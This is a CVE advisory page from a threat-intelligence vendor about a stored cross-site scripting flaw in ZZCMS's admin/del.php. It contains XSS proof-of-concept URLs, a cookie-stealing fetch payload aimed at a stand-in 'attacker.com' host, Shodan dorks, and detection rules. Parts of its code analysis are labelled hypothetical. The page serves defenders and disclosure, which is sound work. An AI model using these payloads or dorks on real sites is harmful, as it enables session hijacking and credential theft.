☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-44819

CVE-2024-44819 Cross-Site Scripting in Zzcms
📅 PUBLISHED: 2024-09-04 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.49%
👁️
0.49% probability
12.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 2023
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-44819 identifies a stored Cross-Site Scripting (XSS) vulnerability in ZZCMS versions 2023 and earlier. The flaw resides in the admin/del.php component, specifically within the pagename parameter. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML into the pagename parameter. When the crafted page name is rendered in the admin panel, the malicious script executes in the context of the victim administrator's browser, potentially leading to session hijacking, credential theft, or further compromise of the CMS backend.

This vulnerability is classified as a Stored XSS because the injected payload persists in the application (likely in the page name field) and is served to other admin users when they view the affected page list. The CVSS score is 4.8 (Medium), reflecting the need for authentication and user interaction, but the impact is amplified in a shared admin environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ZZCMS is a PHP-based content management system. This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby). The risk is confined to the ZZCMS application itself. No known supply chain compromise has been identified.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): High (H) – The attacker must have admin-level access to ZZCMS.
  • User Interaction (UI): Required (R) – The victim admin must view the malicious page.
  • Scope (S): Changed (C) – The vulnerability allows the attacker to impact resources beyond the vulnerable component (e.g., steal cookies from the admin session).
  • Confidentiality (C): Low (L) – Limited information disclosure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content (e.g., inject forms).
  • Availability (A): None (N) – No impact on availability.

Overall CVSS Score: 4.8 (Medium)

Threat Level: Medium. Exploitation requires admin credentials, but once achieved, the attacker can pivot to compromise other admin sessions and potentially the entire CMS.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the admin/del.php script. The pagename parameter is used to identify which page to delete. However, the application does not properly sanitize or escape this parameter before storing it in the database or rendering it in the admin interface.

Attack Flow:

  1. An authenticated admin user crafts a malicious request to admin/del.php with a pagename parameter containing JavaScript, e.g., pagename=<script>alert('XSS')</script>.
  2. The application stores this payload in the database as the page name.
  3. When another admin (or the same admin) navigates to the page list or deletion confirmation page, the stored payload is rendered without proper encoding.
  4. The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding when displaying the pagename value in the admin panel. The application likely uses echo $pagename; instead of echo htmlspecialchars($pagename, ENT_QUOTES, 'UTF-8');.

Vulnerable vs. Patched Code

Vulnerable Code (ZZCMS <= 2023):

// admin/del.php (simplified)
$pagename = $_GET['pagename'];
// ... store $pagename in database ...
// Later, when displaying:
echo "Are you sure you want to delete page: " . $pagename;

Patched Code (Hypothetical):

// admin/del.php (patched)
$pagename = htmlspecialchars($_GET['pagename'], ENT_QUOTES, 'UTF-8');
// ... store $pagename in database ...
// Later, when displaying:
echo "Are you sure you want to delete page: " . $pagename;

Key Difference: The patched version uses htmlspecialchars() to convert special characters (<, >, ", ', &) to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

  • Access to a ZZCMS instance (version 2023 or earlier) with admin credentials.
  • A web browser or tool like Burp Suite.

Exploit Steps:

  1. Log in to ZZCMS admin panel.
  2. Navigate to admin/del.php (or the page management section).
  3. Intercept the request (e.g., using Burp Suite) or craft a direct URL:
    http://target.com/admin/del.php?pagename=<script>alert(document.cookie)</script>
    
  4. Submit the request. The payload is stored.
  5. As the victim admin, navigate to the page list or any page that displays the stored page name. The script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor admin panel access logs for unusual pagename parameters containing <script>, onerror=, javascript:, etc.
  • Use a Web Application Firewall (WAF) to block XSS patterns in the pagename parameter.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Apply input validation: Only allow alphanumeric characters, hyphens, and underscores in pagename.
  • Apply output encoding: Use htmlspecialchars() or a templating engine that auto-escapes.
  • Restrict admin panel access to trusted IPs.
  • Regularly update ZZCMS if patches become available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /admin/del.php with pagename containing <script> tags or event handlers.
    • Outbound connections from the ZZCMS server to unknown IPs (e.g., for cookie exfiltration).
  • File IOCs:
    • Modified entries in the ZZCMS database pages table where pagename contains HTML/JavaScript.
  • Log IOCs:
    • Web server logs showing pagename=<script> in the query string.
    • Admin activity logs showing unusual page names.

Detection Engineering

YARA Rule

rule detect_zzcms_xss_pagename {
    meta:
        description = "Detects XSS payload in ZZCMS pagename parameter"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-44819"
    strings:
        $xss_payload = /pagename=.*<script[^>]*>.*<\/script>/i
        $xss_event = /pagename=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: ZZCMS Stored XSS via pagename Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-44819 by injecting XSS payloads into the pagename parameter of admin/del.php.
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "pagename=<script"
            - "pagename=javascript:"
            - "pagename=onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44819 ZZCMS Stored XSS Attempt"; flow:to_server,established; content:"/admin/del.php"; http_uri; content:"pagename="; http_uri; pcre:"/pagename=.*<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the admin/del.php endpoint if not required, or restrict access via .htaccess or firewall rules.
  2. Apply input validation: Only allow safe characters (a-z, A-Z, 0-9, -, _) in the pagename parameter.
  3. Apply output encoding: Modify the code to use htmlspecialchars() when displaying pagename.

Long-Term Fix:

  • Upgrade to a patched version of ZZCMS if the vendor releases one.
  • Implement a Content Security Policy (CSP) header to block inline scripts.
  • Conduct a full security audit of the admin panel for similar XSS vulnerabilities.

Workaround:

  • Use a Web Application Firewall (WAF) with rules to block XSS patterns in the pagename parameter.
  • Monitor logs for suspicious activity and block offending IPs.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ZZCMS"
http.html:"zzcms"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-44819/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.